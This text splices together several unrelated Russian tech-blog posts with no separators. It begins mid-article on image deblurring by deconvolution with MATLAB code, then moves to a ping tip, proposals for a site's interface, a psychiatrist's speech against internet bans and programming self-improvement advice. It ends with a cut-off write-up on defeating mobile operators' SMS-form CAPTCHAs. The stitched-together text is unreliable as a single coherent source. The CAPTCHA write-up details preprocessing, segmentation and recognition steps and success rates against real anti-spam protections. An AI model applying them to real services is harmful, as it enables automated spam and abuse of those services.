Вернемся теперь к первоначальной постановке задачи восстановления – нам необходимо каким-то образом обратить свертку, при этом не забывая про шум. Из формулы (2) видно, что получить f(x, y) из g(x, y) не так-то просто – если решать, что называется, «в лоб», то получится огромная система уравнений. Но на помощь к нам приходит преобразование Фурье, не будем подробно на нем останавливаться, по этой теме уже было сказано немало. Так вот, есть такая теорема о свертке, которая гласит, что операция свертки в пространственной области эквивалентна обычному умножению в частотной области (причем умножение поэлементное, а не матричное). Соответственно, операция обратная свертке эквивалентна делению в частотной области, т.е это можно записать как:
(3)

Где H(u, v), F(u, v) – Фурье-образы соответствующих функций. Значит процесс искажения из формулы (1) можно переписать в частотной области как:
(4)

Инверсная фильтрация


Тут же напрашивается поделить это равенство на H(u, v) и получить следующую оценку F^(u, v) исходного изображения:
(5)
Это называется инверсной фильтрацией, но на практике практически никогда не работает. Почему же? Чтобы ответить на этот вопрос посмотрим на последнее слагаемое в формуле (5) – если функция H(u, v) принимает значение близкие к нулю или нулевые, то вклад этого слагаемого будет доминирующим. Это практически всегда встречается в реальных примерах – для объяснения этого вспомним как выглядит спектр после преобразование Фурье.

Берем исходное изображение,


преобразуем его в полутоновое и, используя Matlab, получаем спектр:

% Load image
I = imread('image_src.png');
figure(1); imshow(I); title('Исходное изображение'); 
% Convert image into grayscale
I = rgb2gray(I);
% Compute Fourier Transform and center it
fftRes = fftshift(fft2(I));
% Show result
figure(2); imshow(mat2gray(log(1+abs(fftRes)))); title('FFT - Амплитудный спектр (логарифмическая шкала)');
figure(3); imshow(mat2gray(angle(fftRes))); title('FFT - Фазовый спектр');



В результате получаем две компоненты: амплитудный и фазовый спектры. Про фазу, кстати, многие забывают. Обратите внимание, что амплитудный спектр показан в логарифмической шкале, т.к. его значения варьируются очень сильно – на несколько порядков, в центре максимальные значения (порядка миллионов) и быстро убывают практически до нулевых по мере удаления от центра. Именно из-за этого инверсная фильтрация будет работать только при нулевых или практически нулевых значениях шума. Продемонстрируем это на практике с помощью следующего скрипта:
% Load image
I = im2double(imread('image_src.png')); 
figure(1); imshow(I); title('Исходное изображение');
% Blur image
Blurred = imfilter(I, PSF,'circular','conv' );
figure(2); imshow(Blurred); title('Размытое изображение');
% Add noise
noise_mean = 0;
noise_var = 0.0;
Blurred = imnoise(Blurred, 'gaussian', noise_mean, noise_var);
% Deconvolution
figure(3); imshow(deconvwnr(Blurred, PSF, 0)); title('Результат');


          noise_var = 0.0000001                            noise_var = 0.000005

Хорошо видно, что добавление даже очень небольшого шума приводит к значительным помехам, что сильно ограничивает практическое применение метода.

Существующие подходы для деконволюции


Но есть подходы, которые учитывают учитывают наличие шума на изображении – один из самых известных и самых первых, это фильтр Винера (Wiener). Он рассматривает изображение и шум как случайные процессы и находит такую оценку f' для неискаженного изображения f, чтобы среднеквадратическое отклонение этих величин было минимальным. Минимум этого отклонения достигается на функции в частотной области:
(6)
Этот результат был получине Винером в 1942 году. Подробный вывод здесь приводить не будем, те, кто интересуется, могут посмотреть его здесь . Функцией S здесь обозначаются энергетические спектры шума и исходного изображения соответственно – поскольку, эти величины редко бывают известны, то дробь Sn / Sf заменяют на некоторую константу K, которую можно приблизительно охарактеризовать как соотношение сигнал-шум.

Следующий метод, это «сглаживающая фильтрация методом наименьших квадратов со связью», другие названия: «фильтрация по Тихонову», «Тихоновская регуляризация». Его идея заключается в формулировке задачи в матричном виде с дальнейшем решением соответствующей задачи оптимизации. Это решение записывается в виде:
(7)
Где y – параметр регуляризации, а P(u, v) – Фурье-преобразование оператора Лапласа (матрицы 3 * 3).

Еще один интересный подход предложили независимо Ричардосн [Richardson, 1972] и Люси [Lucy, 1974]. Метод так и называется «метод Люси-Ричардсона». Его отличительная особенность в том, что он является нелинейным, в отличие от первых трех – что потенциально может дать лучший результат. Вторая особенность – метод является итерационным, соответственно возникают трудности с критерием останова итераций. Основная идея состоит в использовании метода максимального правдоподобия для которого предполагается, что изображение подчиняется распределению Пуассона. Формулы для вычисления достаточно простые, без использования преобразования Фурье – все делается в пространственной области:
(8)
Здесь символом «*», как и раньше, обозначается операция свертки. Этот метод широко используется в программах для обработки астрономических фотографий – в них использование деконволюции (вместо unsharp mask, как в фоторедакторах) является стандартом де-факто. В качестве примера можно привести Astra Image, вот примеры деконволюции. Вычислительная сложность метода очень большая – обработка средней фотографии, в зависимости от количества итераций, может знанимать многие часы и даже дни.

Последний рассматриваемый метод, а вернее, целое семейство методов, которые сейчас активно разрабатываются и развиваются – это слепая деконволюция (blind deconvolution). Во всех предыдущих методах предполагалось, что искажающая функция PSF точно известна, в реальности это не так, обычно PSF известна лишь приблизительно по характеру видимых искажений. Слепая деконволюция как раз является попыткой учитывать это. Принцип достаточно простой, если не углубляться в детали – выбирается первое приближение PSF, далее по одному из методов делается деконволюция, после чего некоторым критерием определяется степень качества, на основе нее уточняется функция PSF и итерация повторяется до достижения нужного результата.

Практика


Теперь с теорией все – перейдем к практике, начнем со сравнения перечисленных методов на изображении с искусственным размытием и шумом.


% Load image
I = im2double(imread('image_src.png'));
figure(1); imshow(I); title('Исходное изображение');

% Blur image
PSF = fspecial('disk', 15);
Blurred = imfilter(I, PSF,'circular','conv' );

% Add noise
noise_mean = 0;
noise_var = 0.00001;
Blurred = imnoise(Blurred, 'gaussian', noise_mean, noise_var);
figure(2); imshow(Blurred); title('Размытое изображение');
estimated_nsr = noise_var / var(Blurred(:));

% Restore image
figure(3), imshow(deconvwnr(Blurred, PSF, estimated_nsr)), title('Wiener');
figure(4); imshow(deconvreg(Blurred, PSF)); title('Regul');
figure(5); imshow(deconvblind(Blurred, PSF, 100)); title('Blind');
figure(6); imshow(deconvlucy(Blurred, PSF, 100)); title('Lucy');

Результаты:


Фильтр Винера


Регуляризация по Тихонову


Фильтр Люси-Ричардсона


Слепая деконволюция

Заключение


И в конце первой части немного затронем примеры реальных изображений. До этого все искажения были искусственными, что конечно хорошо для обкатки и изучения, но очень интересно посмотреть, как все это будет работать с настоящими фотографиями. Вот один пример такого изображения, снятого зеркалкой Canon 500D с ручным уводом фокуса:



Далее запускаем несложный скрипт:


% Load image
I = im2double(imread('IMG_REAL.PNG'));
figure(1); imshow(I); title('Исходное изображение');

%PSF
PSF = fspecial('disk', 8);
noise_mean = 0;
noise_var = 0.0001;
estimated_nsr = noise_var / var(I(:));

I = edgetaper(I, PSF);
figure(2); imshow(deconvwnr(I, PSF, estimated_nsr)); title('Результат');

И получаем следующий результат:



Как видно, на изображении появились новые детали, четкость стала гораздо выше, правда появились и помехи в виде «звона» на контрастных границах.

И пример с реальным смазом — для его осуществления фотоаппарат был установлен на штатив, выставлена относительно длинная выдержка и равномерным движением в момент срабатывания затвора был получен смаз:


Скрипт примерно тот же, только тип PSF теперь «motion»:


% Load image
I = im2double(imread('IMG_REAL_motion_blur.PNG'));
figure(1); imshow(I); title('Исходное изображение');

%PSF
PSF = fspecial('motion', 14, 0);
noise_mean = 0;
noise_var = 0.0001;
estimated_nsr = noise_var / var(I(:));

I = edgetaper(I, PSF);
figure(2); imshow(deconvwnr(I, PSF, estimated_nsr)); title('Результат');

Результат:


Качество, опять же, заметно улучшилось — стали различимы рамы на окнах, машины. Артефакты уже другие, нежели в предыдушем примере с расфокусировкой.

На этом интересном и закончим первую часть.
Во второй части я сосредоточусь на проблемах обработки реальных изображений — построения PSF и их оценки, рассмотрю более сложные и продвинутые техники деконволюции, методы устранения дефектов типа звона, проведу обзор и сравнения существующего ПО и прочее.

P.S. Не так давно была опубликована статья на хабре про Исправление смазанных фотографий в новой версии Photoshop
Для тех, кто хочет поиграться с похожей технологией устранения смаза (возможно, той самой, что будет использоваться в фотошопе), можно по этой ссылке скачать демо-версию приложения, посмотреть примеры восстановления, а также почитать про принцип работы.

Литература


Гонсалес Р., Вудс Р. Цифровая обработка изображений
Гонсалес Р., Вудс Р., Эддинс С. Цифровая обработка изображений в среде MATLAB

UPD: Ссылка на продолжение

--
Vladimir Yuzhikov
Многие для проверки доступности интернетов используют простое и короткое «ping ya.ru», но что делать если не работает днс или недоступен сам ресурс ya.ru? Есть легко запоминающийся ip адрес одного из днс серверов.

ping 4.2.2.2

upd: перенесено в «системное администрирование»


Интерфейс Хабра за все время существования не претерпел каких-то радикальных изменений, однако администрация постоянно улучшает удобство пользования сайтом, добавляя маленькие полезные фичи. Предлагаю список некоторых возможных улучшений и призываю хабровчан обсудить интерфейс Хабра в комментариях.

Инлайн-код


Введение тега source намного улучшило вид многих топиков, но не хватает простого добавления inline-кода в текст:



Embed-код


Сейчас существует множество сервисов, которые позволяют отображать демонстрацию кода непосредственно в тексте статьи, например CodePen:



Лайтбокс


Сервис habrastorage ужимает большие картинки, но было бы здорово, если бы он при загрузке большого изображения выдавал готовую конструкцию с превью и фулсайзом, которую останется только добавить в топик.

Картинки по центру


Это странно, но сейчас нет возможности расположить картинку по центру контента, поэтому некоторые статьи выглядят так:



А могут немного лучше:



Отступы


При создании хабратопика многие элементы разметки ведут себя очень странно, к примеру, заголовки (h1-h6) имеют отступ снизу, но не имеют сверху. Во многих статьях текст «прилипает» к картинкам, спискам и коду, либо наоборот, элементы слишком далеко расположены друг от друга. Вот простой пример:



Можно просто «съедать» лишние переносы строк и добавлять необходимые отступы

Дополнительные флаги


Прекрасно, что на Хабре ввели такую штуку, как флаги, но разных типов материалов на сайте больше, к примеру можно ввести флаг «подборка»:



Твиттер в профиле


Сейчас немного странная ситуация в профилях: под ником отображается последний твит, однако узнать имя пользователя в сервисе можно только посмотрев исходный код блока! Например у Boomburum:





Мобильные устройства


Я не мечтаю об адаптивном хабре, но читать топики на планшете и тем более смарфоне было бы удобнее, если бы правый сайдбар просто опускался ниже контента, не вызывая лишние горизонтальные скроллы.

А что бы вы добавили в этот список?
Когда моего знакомого психиатра А.Г. Данилина переполняет профессиональное чувство глупости мира сего, он просит сделать ролик, где делится своими мыслями со зрителями. Я думаю, что разговор получился довольно интересный.



«Я понимаю, что это очередной глас вопиющего в пустыне, но так как 10 октября мы празднуем день психического здоровья, то мне очень хочется, как профессионалу с большим стажем сообщить тем, кто захочет посмотреть это видео, что политика тотальных запретов не в состоянии привести общество и человека к состоянию психического здоровья.

У нас в стране существует какой-то привычный извращенный взгляд на вещи: если какая-то проблема нам мешает, то ее нужно просто запретить и забыть о ней. Хотя на самом деле из этого никогда ничего хорошего не получалось. Более того, мы жили в тоталитарном обществе, построенном на запретах, и нам то, казалось бы, должно было быть это прекрасно известно.
Я ни в коем случае не возражаю против закона о защите детей от информации, приносящей вред их здоровью развития. Вся беда в следующем — для того чтобы такой закон принимать, мы должны сначала принять единый закон об информации, которая приносит ребенку пользу. Мы должны сказать, вот дорогие родители, существуют огромный объем информации, приносящей ребенку пользу. Эту информацию можно взять там-то, там-то и там-то. А теперь, когда вы знаете, где взять ее, мы может спокойно запретить вредоносные сайты в интернете и многое другое тоже.

Если мы этого не делаем, то мы на самом деле в результате пытаемся оставить ребенка или подростка тем более без информации вообще, потому что теоретически, прекрасно зная психологическую демагогию, ваш покорный слуга может любую информацию показать как вредную или как полезную. Для того чтобы запретить, например, детям, как сейчас пытаются это сделать доступ к wifi в общественных местах, фактически запретить любую мобильную связь — сначала в этих общественных местах должно что-то происходить, чтобы ребенку было интересно и чтобы ему не нужна была это wifi связь в общественных местах. А иначе мы снова и снова нарываемся на злоупотребления.

У нас в стране никому, я даже не про власть имеющих, я про подавляющее большинство нашего населения, у нас в стране никому невозможно объяснить, что нельзя победить „плохое“ американское кино. По той простой причине, что его смотрят, оно вызывает интерес, оно сделано профессионально. Победить американское кино запретом нельзя. Поскольку кажется уже всем, по публикуемым в прессе анекдотам: благодаря циферкам, поставленных в углу экрана, дети понимают, что им нужно смотреть. Оно начинается от 16+…

Победить американское кино, и даже зловредные сайты в интернете, можно только одним способом — создав свое кино, которое будет смотреть не меньшее количество молодых людей и, кстати, у Советского Союза это прекрасно получалось.

Победить вредные сайты в сети, можно только создав полезные и интересные. Поскольку современное информационное пространство нельзя сделать стерильным. Это невозможно, зачем мы врем самим себе?..

Я даже себе не представляю, какое количество наркоманов и самоубийц появятся на улицах, если грандиозные социальные сети, или какой-нибудь Youtube будет бездумно закрыт из-за какого-то полубредового повода. Поскольку это те зоны, в которых молодые люди, да глупо, да нелепо, пытаются реализовывать свой собственный творческий потенциал, и если они это делают глупо, то это значит МЫ ИХ, черт возьми, не научили!..

Такое впечатление что РосПотребНадзор, Минсвязи или кто-то еще, составляя законы, отменяет законы подростковой психологии. Разве хоть кому-нибудь, или педагогу с высшим образованием, не известно, что главная реакция подросткового возраста — послушай, что скажет взрослый и сделай наоборот. Так зачем же мы провоцируем целое поколение?
Я просто врач, который достаточно много общается с молодыми людьми. Честное слово, наверное, с начала 90-х годов я не слышал СТОЛЬКО разговоров об эмиграции. Такое ощущение, что у поколения до 30 лет есть только одна мысль — уехать из этой страны к чёртовой матери. Это мы называем психическим здоровьем?...»

1. Выучить новый язык программирования


Изучение нового языка программирования разовьет новые способы мышления, особенно если новый язык программирования использует парадигмы, с которыми Вы еще не знакомы. Многие из приобретенных способов мышления могут быть применены к языкам, которые уже знаете. Возможно, вы даже полюбите новый для Вас язык программирования настолько, что начнёте использовать его для серьёзных проектов.

Среди языков программирования отличный познавательный эффект и наверстывание опыта дают: Lisp (или Scheme), Форт, PostScript или Factor (стековые языки программирования), Haskell (строго типизированный, чистый функциональный язык) либо OCaml (объектно-ориентированный язык функционального программирования), Пролог (логическое программирование), Erlang (отличные паралельные вычисления).



2. Прочесть хорошую, сложную книгу по программированию


Много знаний можно почерпнуть из книг. Несомненно, практика имеет очень важное значение, но прочитав хотя бы одну хорошую, сложную книгу по программированию, Вы не только проверите своё мышление, но и, вероятнее всего, прокачаете свой скилл в этом вопросе.
Вот пример такой литературы: The Art of Computer Programming (если хотите вскипятить мозг), Structure and Interpretation of Computer Programs, A Discipline of Programming или знаменитую dragon book. По совету ArtemSmirnov: Concepts, Techniques, and Models of Computer Programming.
Конечно, можно прочесть и простенькие книги, но избегайте литературы типа «Для чайников», "… за 24 часа", "… за 3 недели". Такие книги не дадут вам весомой пользы, с точки зрения улучшения навыков программирования.

3. Присоединитесь к open source проекту


Какие преимущества участия в open source проекте? Командная работа (прекрасная вещь, особенно, если раньше работали только самостоятельно), возможность научится копаться в чужом коде, понимая его (достаточно сложная задача).
Известные (и не очень) сообщества разработчиков открытого программного кода: GitHub, Sourceforge, gitorious, BitBucket, Ohloh.

4. Решать программистские головоломки


Это тоже отличный метод улучшения навыков программирования, тем более, что найти задачку на вечер сейчас не проблема. К примеру, математически-ориентированные задачи можно найти на Project Euler, который является одним из самых популярных сайтов с головоломками по программированию. От себя могу посоветовать The Python Challenge.
Также предлагаю Вам попробовать программистский гольф, где программисты пытаются решить задачку, сделав как можно меньше нажатий клавиш. Это может научить Вас многим изотерическим и специальным особенностям языка программирования, сделав работу более творческой и веселой. Попробовать себя в этом специфическом гольфе можно тут.
Ссылка от sl_bug: Timus Online Judge
Ссылки от winger: acm.sgu.ru, codeforces.ru, topcoder.com
Ссылка от black_bunny: acm.mipt.ru
Ссылка от kane: spoj.pl

5. Программа


Каждую новую программу начинайте делать «с нуля». Разрабатывайте самостоятельно всю архитектуру и реализуйте ее. Повторяйте.
Программирование — лучший способ научится программированию. Вы будете учится на своих ошибках, и под конец проекта получите гораздо больше удовольствия, чем от прочтения книги. К тому же вы «набьете руки» и будете быстрее ориентироваться в тех вопросах, в которых сами разобрались.

6. Читайте и изучайте код


Исследуйте интересные коды, например ядро Linux (имейте в виду, это очень большой код). Хорошей операционной системой для учебных целей является MINIX3. Вы сможете познать много новых идиом языка, а еще кое-что о архитектуре ПО. Чтение незнакомого исходного кода — это сложная, но очень полезная работа.

7. Зависайте на сайтах и форумах по программированию, читайте блоги


Зависая на сайтах и форумах по программированию, вы покажете себя и поучитесь у других. Также читайте блоги, желательно почаще. Посоветовать могу Joel on Software (больше не публикует записи, но есть архив, в котором можно найти много интересного), Coding Horror и Lambda the Ultimate. С подачи spmbt: хабрахабр, StackOverFlow
mgarin подсказывает:
forum.sources.ru/ и forum.vingrad.ru/ — 2 крупных форума по всевозможным языкам программирования


8. Пишите о программировании


Заведите свой блог о программировании, и пишите в него, пускай даже для себя. Просматривайте сайты типа Q&A и старайтесь давать ответы. Так вы можете получить знания в вопросе, с которым самостоятельно, возможно, никогда и не столкнулись бы. Если чувствуете себя уверенно — пишите туториалы. Если пишите о программировании — должны быть в курсе освещаемого вопроса по максимуму, использовать соответствующую терминологию, иметь возможность грамотно ответить на поставленный по теме вопрос. Если пишите на англоязычных сайтах — это еще и отличная возможность прокачать свои знания английского.

9. Изучите низкоуровневое программирование


Изучение низкоуровневого программирования полезно для лучшего понимания работы машины. Почитайте о C, возможно освойте ассемблер. Узнайте, как компьютер выполняет программу, и как работает операционная система (на высоком уровне, по крайней мере). Если вы хотите познать серьёзное в низкоуровневом программировании, то почитайте книги по компьютерной организации, операционным системам, встраиваемым системам, по разработке драйверов и.т.д.
hx0 подсказывает:
Если Вы хотите подучить ассемблер и узнать о построении операционных систем — рассмотрите исходный код VictoriaOS, попробуйте написать для неё несколько простейших программ типа echo.

SaveTheRbtz поделился интересной ссылочкой:
Думаю стоит упомянуть MIT'шную ОС:
pdos.csail.mit.edu/6.828/xv6/

+ к ней прилагаются замечательные pdf'ки


10. Не работает? Не гонитесь сразу за помощью! Подумайте сами!


Итак, у Вас появилась проблема в коде: не работает, либо работает не так как нужно. Вы хотите ее решить как можно быстрее. Что вы делаете? Пишите сразу на форум, в QA, или просто другу. Так вот, никогда так не делайте. Лучше самому потратить время, пытаясь исправить ошибку самостоятельно. Возьмите бумагу, карандаш и распишите схему работы алгоритма, сверьте с кодом. Не заработало? Отдохните, сходите на прогулку, освежите мозг, попробуйте разобраться снова. Вы уже часик-второй (время зависит от размера проблемы) мучаетесь с этим куском кода? Избили Google в поисках решения? Так и быть, обратитесь за помощью. Во всяком случае пытайтесь решить проблему своими мозгами. Вы потратите время, но прибавите навыков.

P.S.: В некоторых пунктах есть ссылки на хорошие книги, блоги, сайты. Если у вас есть чем дополнить линк-лист (желательно русские ресурсы, книги) — пишите в ЛС, обязательно добавлю.
Именно так называлась работа, представленная мной на Балтийском научно-инженерном конкурсе, и принёсшая мне очаровательную бумажку с римской единичкой, а также новенький ноутбук.

Работа заключалась в распознавании CAPTCHA, используемых крупными операторами сотовой связи в формах отправки SMS, и демонстрации недостаточной эффективности применяемого ими подхода. Чтобы не задевать ничью гордость, будем называть этих операторов иносказательно: красный, жёлтый, зелёный и синий.

Данный текст распространяется на условиях лицензии CC BY-SA.



Проект получил официальное название Captchure и неофициальное Breaking Defective Security Measures. Любые совпадения случайны.

Как ни странно, все (ну, почти все) эти CAPTCHA оказались довольно слабенькими. Наименьший результат — 20% — принадлежит жёлтому оператору, наибольший — 86% — синему. Таким образом, я считаю, что задача «демонстрации неэффективности» была успешно решена.

Причины выбора именно сотовых операторов тривиальны. Уважаемому Научному Жюри я рассказывал байку о том, что «сотовые операторы имеют достаточно денег, чтобы нанять программиста любой квалификации, и, в то же время, им необходимо минимизировать количество спама; таким образом, их CAPTCHA должны быть довольно мощными, что, как показывает моё исследование, совсем не так». На самом же деле всё было гораздо проще. Я хотел набраться опыта, взломав распознав какую-нибудь простую CAPTCHA, и выбрал жертвой CAPTCHA красного оператора. А уже после этого, задним числом родилась вышеупомянутая история.

Итак, ближе к телу. Никакого мегапродвинутого алгоритма для распознавания всех четырёх видов CAPTCHA у меня нет; вместо него я написал 4 различных алгоритма для каждого вида CAPTCHA по отдельности. Однако, несмотря на то, что алгоритмы в деталях различны, в целом они оказались очень похожими.

Как и многие авторы до меня, я разбил задачу распознавания CAPTCHA на 3 подзадачи: предварительную обработку (препроцесс), сегментацию и распознавание. На этапе препроцесса из исходного изображения удаляются различные шумы, искажения и пр. В сегментации из исходного изображения выделяются отдельные символы и производится из постобработка (например, обратный поворот). При распознавании символы по одному обрабатываются предварительно обученной нейросетью.

Существенно различался только препроцесс. Это связано с тем, что в различных CAPTCHA применяются различные методы искажения изображений, соответственно, и алгоритмы для удаления этих искажений сильно различаются. Сегментация эксплуатировала ключевую идею поиска компонентов связности с незначительными наворотами (значительными их пришлось сделать только у жёлто-полосатых). Распознавание было абсолютно одинаковым у трёх операторов из четырёх — опять-таки, отличался только жёлтый оператор.

Код написан на Python с применением библиотек OpenCV и FANN, которые не ставятся без напильника приличных размеров и профессионального инструмента отладки. Поэтому мои результаты будет воспроизвести непросто — по крайней мере, до тех пор, пока авторы вышеупомянутых библиотек не сделают нормальные привязки для Python.

Red


Как я уже сказал, первым кроликом я выбрал именно эту CAPTCHA. Думаю, несколько примеров прояснят ситуацию:



Вот-вот, и мне тоже сначала показалось, что она очень простая… Однако, это впечатление возникло не на пустом месте. Итак:
  • Цвета исчерпываются градациями серого, причём символы — светлые, фон — тёмный
  • Отсутствует дополнительный шум
  • Постоянные искажения (то есть не изменяющиеся от картинки к картинке)
  • Символов всегда ровно пять
  • Размеры символов приблизительно одинаковы
  • Символы почти всегда связны

Казалось, всё это сводит на нет достоинства этой CAPTCHA:
  • Слипающиеся буквы
  • Мерзкий дырявый шрифт
  • Очень маленький размер (83x23 px)

Естественно, эти «достоинства» являются таковыми только с точки зрения сложности автоматического распознавания. В соответствии с трёхэтапной схемой, упомянутой мной ранее, начнём с предварительной обработки изображения, а именно увеличения в 2 раза.



Как я уже упоминал, искажения здесь постоянны, и, даже несмотря на то, что они не являются линейными, избавиться от них нетрудно. Параметры были подобраны эмпирически.





Далее я применяю пороговое преобразование (в народе Threshold) с t=200 и инвертирую изображение:



Наконец, белым закрашиваются мелкие (меньше 10px) чёрные связные области:



Далее следует сегментация. Как я уже сказал, здесь применяется поиск компонентов связности:



Иногда (редко, но бывает) буква распадается на несколько частей; для исправления этого досадного недоразумения я применяю довольно простую эвристику, оценивающую принадлежность нескольких компонентов связности к одному символу. Эта оценка зависит только от горизонтального положения и размеров описывающих прямоугольников (bounding boxes) каждого символа.



Нетрудно заметить, что многие символы оказались объединены в один компонент связности, в связи с чем надо их разделять. Здесь на помощь приходит тот факт, что на изображении всегда ровно 5 символов. Это позволяет с большой точностью вычислять, сколько символов находится в каждом найденном компоненте.

Для объяснения принципа работы такого алгоритма придётся немного углубиться в матчасть. Обозначим количество найденных сегментов за n, а массив ширин (правильно сказал, да?) всех сегментов за widths[n]. Будем считать, что если после вышеупомянутых этапов n > 5, изображение распознать не удалось. Рассмотрим все возможные разложения числа 5 на целые положительные слагаемые. Их немного — всего 16. Каждое такое разложение соответствует некоторой возможной расстановке символов по найденным компонентам связности. Логично предположить, что чем шире получившийся сегмент, тем больше символов он содержит. Из всех разложений пятёрки выберем только те, в которых количество слагаемых равно n. Поделим каждый элемент из widths на widths[0] — как бы нормализуем их. То же самое проделаем со всеми оставшимися разложениями — поделим каждое число в них на первое слагаемое. А теперь (внимание, кульминация!) заметим, что получившиеся упорядоченные n-ки можно мыслить как точки в n-мерном пространстве. С учётом этого, найдём ближайшее по Евклиду разложение пятёрки к нормализованному widths. Это и есть искомый результат.

Кстати, в связи с этим алгоритмом мне в голову пришёл ещё один интересный способ искать все разложения числа на слагаемые, который я, правда, так и не реализовал, закопавшись в питоновских структурах данных. Вкратце — он довольно очевидно вылезает, если заметить, что количество разложений определённой длины совпадает с соответствующим уровнем треугольника Паскаля. Впрочем, я уверен, что этот алгоритм давным-давно известен.

Так вот, после определения количества символов в каждом компоненте наступает следующая эвристика — мы считаем, что разделители между символами тоньше, чем сами символы. Для того чтобы воспользоваться этим сокровенным знанием, расставим по сегменту n-1 разделителей, где n — количество символов в сегменте, после чего в небольшой окрестности каждого разделителя посчитаем проекцию изображения вниз. В результате этого проецирования мы получим информацию о том, сколько в каждом столбце пикселей принадлежат символам. Наконец, в каждой проекции найдём минимум и сдвинем разделитель туда, после чего покромсаем изображение по этим разделителям.





Наконец, распознавание. Как я уже говорил, для него я применяю нейросеть. Для её обучения сначала я прогоняю две сотни изображений под общим заголовком trainset через уже написанные и отлаженные первые два этапа, в результате чего получаю папку с большим количеством аккуратно нарезанных сегментов. Затем руками вычищаю мусор (результаты неправильной сегментации, например), после чего результат привожу к одному размеру и отдаю на растерзание FANN. На выходе получаю обученную нейросеть, которая и используется для распознавания. Эта схема дала сбой только один раз — но об этом позже.



В результате на тестовом наборе (не использованном для обучения, кодовое имя — testset) из 100 картинок были правильно распознаны 45. Не слишком высокий результат — его, конечно, можно улучшить, например, уточнив препроцесс или переделав распознавание, но, честно говоря, мне было лень с этим возиться.

Кроме того, я использовал ещё один критерий оценки производительности алгоритма — средняя ошибка. Вычислялся он следующим образом. Для каждого изображения находилось расстояние Левенштейна между мнением алгоритма об этом изображении и правильным ответом — после чего бралось среднее арифметическое по всем изображениям. Для этого вида CAPTCHA средняя ошибка составила 0.75 символа/изображение. Мне кажется, что это более точный критерий, нежели просто процент распознавания.

Кстати говоря, почти везде (кроме жёлтого оператора) у меня использовалась именно такая схема — 200 картинок в trainset, 100 — в testset.

Green


Следующей целью я выбрал зелёных — хотелось взяться за что-то более серьёзное, чем подбор матрицы искажений.



Достоинства:
  • Эффект трёхмерности
  • Поворот и смещение
  • Неравномерная яркость

Недостатки:
  • Символы заметно темнее фона
  • Верхнюю сторону прямоугольника хорошо видно — можно использовать для обратного поворота

Оказалось, что даже несмотря на то, что эти недостатки, казалось бы, незначительны, их эксплуатация позволяет весьма эффективно расправиться со всеми достоинствами.

Опять начнём с предварительной обработки. Сначала оценим угол поворота прямоугольника, на котором лежат символы. Для этого применим к исходному изображению оператор Erode (поиск локального минимума), затем Threshold, чтобы выделить остатки прямоугольника и, наконец, инверсию. Получим симпатичное белое пятно на чёрном фоне.

Далее начинается глубокая мысль. Первое. Для оценки угла поворота всего прямоугольника достаточно оценить угол поворота его верхней стороны. Второе. Можно оценить угол поворота верхней стороны поиском прямой, параллельной этой стороне. Третье. Для описания любой прямой, кроме строго вертикальной, достаточно двух параметров — смещения по вертикали от центра координат и угла наклона, причём нас интересует только второй. Четвёртое. Задачу поиска прямой можно решить не очень большим перебором — слишком больших углов поворота там не бывает, да и сверхвысокая точность нам не нужна. Пятое. Для поиска необходимой прямой можно сопоставить каждой прямой оценку того, насколько она близка к искомой, после чего выбрать максимум. Шестое. Самое Важное. Чтобы оценить некоторый угол наклона прямой, представим, что изображения сверху касается прямая с таким углом наклона. Понятно, что из размеров изображения и угла наклона можно однозначно вычислить смещение прямой по вертикали, так что она задаётся однозначно. Далее, постепенно будем двигать эту прямую вниз. В какой-то момент она коснётся белого пятна. Запомним этот момент и площадь пересечения прямой с пятном. Напомню, что прямая имеет 8ми-связное представление на плоскости, поэтому гневные выкрики из зала о том, что прямая имеет одно измерение, а площадь — понятие двумерное, здесь неуместны. Затем ещё некоторое время будем двигать эту прямую вниз, на каждом шаге запоминая площадь пересечения, после чего просуммируем полученные результаты. Эта сумма и будет оценкой данного угла поворота.



Подводя итог вышесказанного: будем искать такую прямую, что при движении её вниз по изображению яркость пикселей, лежащих на этой прямой, возрастает наиболее резко.

Итак, угол поворота найден. Но не следует спешить тут же применить полученное знание. Дело в том, что это испорит связность изображения, а она нам ещё понадобится.

Следующий шаг — отделение символов от фона. Здесь нам здорово поможет тот факт, что символы значительно темнее фона. Вполне логичный шаг со стороны разработчиков — иначе картинку было бы очень сложно прочитать. Кто не верит — может попробовать самостоятельно бинаризовать изображение и убедиться воочию.

Однако, подход «в лоб» — попытка отсечь символы пороговым преобразованием — здесь не работает. Наилучший результат, которого мне удалось добиться — при t=140 — выглядит весьма плачевно. Остаётся слишком много мусора. Поэтому пришлось применить обходной путь. Идея здесь следующая. Символы, как правило, связны. Причём им часто принадлежат самые тёмные точки на изображении. А что если попробовать применить заливку из этих самых тёмных точек, а затем выкинуть слишком маленькие залитые области — очевидный мусор?

Результат, честно говоря, поразителен. На большинстве изображений удаётся избавиться от фона полностью. Впрочем, бывает, что символ распадается на несколько частей — в этом случае может помочь один костыль в сегментации — но об этом чуть позже.



Далее, произведём поворот на найденный ранее угол.



Наконец, комбинация операторов Dilate и Erode избавляет нас от мелких дырок, оставшихся в символах, что помогает упростить распознавание.



Сегментация здесь значительно проще, чем препроцесс. В первую очередь ищем компоненты связности.



Затем объединяем близкие по горизонтали компоненты (процедура ровно та же, что и ранее):





Собственно, всё. Далее следует распознавание, но оно ничем не отличается от вышеупомянутого.

Этот алгоритм позволил достичь результата в 69% успешно распознанных изображений и получить среднюю ошибку 0.3 символа/изображение.

Blue


Итак, третьим статус «defeated» получил синий оператор. Это была, так сказать, передышка перед действительно крупной рыбой…



Здесь сложно что-то записать в достоинства, но я, всё же, попробую:
  • Поворот символов — единственное более-менее серьёзное препятствие
  • Фоновый шум в виде символов
  • Символы иногда касаются друг друга

В противовес этому:
  • Фон значительное светлее символов
  • Символы хорошо вписываются в прямоугольник
  • Разный цвет символов позволяет легко отделять их друг от друга

Итак, препроцесс. Начнём с отсечения фона. Поскольку изображение трёхцветное, порежем его на каналы, а затем выбросим все точки, которые ярче 116 по всем каналам. Получим вот такую симпатичную маску:



Затем преобразуем изображение в цветовое пространство HSV (Википедия). Это сохранит информацию о цвете символов, а заодно и уберёт градиент с их краёв.



Применим к результату полученную ранее маску:



На этом препроцесс заканчивается. Сегментация также весьма тривиальна. Начнём, как всегда, с компонентов связности:





